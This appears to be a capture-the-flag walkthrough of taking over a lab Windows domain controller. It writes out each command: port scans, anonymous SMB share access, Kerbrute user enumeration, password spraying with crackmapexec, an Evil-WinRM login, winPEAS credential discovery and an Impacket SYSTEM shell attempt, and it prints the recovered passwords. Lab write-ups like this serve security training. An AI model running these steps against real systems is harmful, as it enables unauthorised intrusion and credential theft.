Started with a simple base scan on all ports. nmap was aborting early due to ping probes not responding so I used the -Pn switch to bypass host discovery.

nmap -p- -Pn

53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49678/tcp open  unknown
49700/tcp open  unknown


As usual I check SMB with null authentication to see if we have any quick potential vectors for the initial foothold.

We are able to read the shares with smbclient and then able to connect to the share 'Office_share' without any valid credentials.

Running the dir command reveals we have a fair few directories.

I will use smbget to recusively download all files which will also output which files are actually downloaded which makes sifting through multiple directories easy.

smbget -R smb://

Reading the contents of the file for Default_Password.txt shows the value of 'SecretOrg!'.

The directories we downloaded are named after potential users on the system.

This combined with the password value we have discovered could lead to our initial foothold. We should take one of the names and attempt to enumerate the username naming convention. I have created a 'users' file with variations of popular naming conventions.


We can now try Kerbrute against the server with this information to see if we get any hits with our mix of usernames. Before we do we need to find the domain name.

As port 3389 is open we can run nmap against it with the -sC switch for default scripts. This should enumerate the domain name for us.

nmap -p 3389 -sC -Pn

3389/tcp open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: SECRET
|   NetBIOS_Domain_Name: SECRET
|   NetBIOS_Computer_Name: SECRET-DC
|   DNS_Domain_Name:
|   DNS_Computer_Name:
|   DNS_Tree_Name:
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-14T19:48:25+00:00
| ssl-cert: Subject:
| Not valid before: 2020-12-13T18:10:36
|_Not valid after:  2021-06-14T18:10:36
|_ssl-date: 2020-12-14T19:48:25+00:00; 0s from scanner time.

Now that we have the domain name of '' we can now run Kerbrute to hopefully find any potential usernames.

./kerbrute userenum /home/kali/secret/users -d --dc

When running Kerbrute I will add the Administrator and Guest accounts to the usersfile as these accounts normally exist and are a good way to test the returned results are accurate.

We see we have the user ''. Now we know the naming convention we can take our usernames and add this variation of known users to the list.

  • BDover

  • JCakes

  • KCurtis

  • LFrank

We now run Kerbrute again.

All users names are valid and we have the password of 'SecretOrg!' we discovered earlier. We can try spraying this password against the usernames to see if we get a hit.

We can use crackmapexec to attempt authentication against SMB.

crackmapexec smb -u /home/kali/secret/users -p SecretOrg!

Initial Foothold

The credentials JCakes:SecretOrg! appear to be valid. We can use these credentials against WinRM as port 5985 is open. We can use Evil-WinRM for this.

evil-winrm -u JCakes -p SecretOrg! -i

Looking at whoami /all we have nothing too interesting.

Privilege Escalation

I will upload winPEAS.exe as per normal procedure to hopefully identify any obvious escalation vectors.

Some minutes later we have information regarding AutoLogon credentials.

winPEAS has found the following credentials: secret:vF4$x9#z:-eT~Fy

We can then try these credentials against WinRM and SMB.

We can also spray the password against known user accounts.

I then sprayed the password again with crackmapexec except this time I defined the authentication protocol as WinRM.

crackmapexec winrm -u /home/kali/secret/users -p 'vF4$x9#z:-eT~Fy'

Checking the whoami /all command we see we have a tonne of privileges and also are a member of the Administrators group.

We are not system however, we should attempt to escalate to SYSTEM where possible. We can try Impacket's to see if we can spawn a shell as SYSTEM.

sudo python2'vF4$x9#z:-eT~Fy'@

Last updated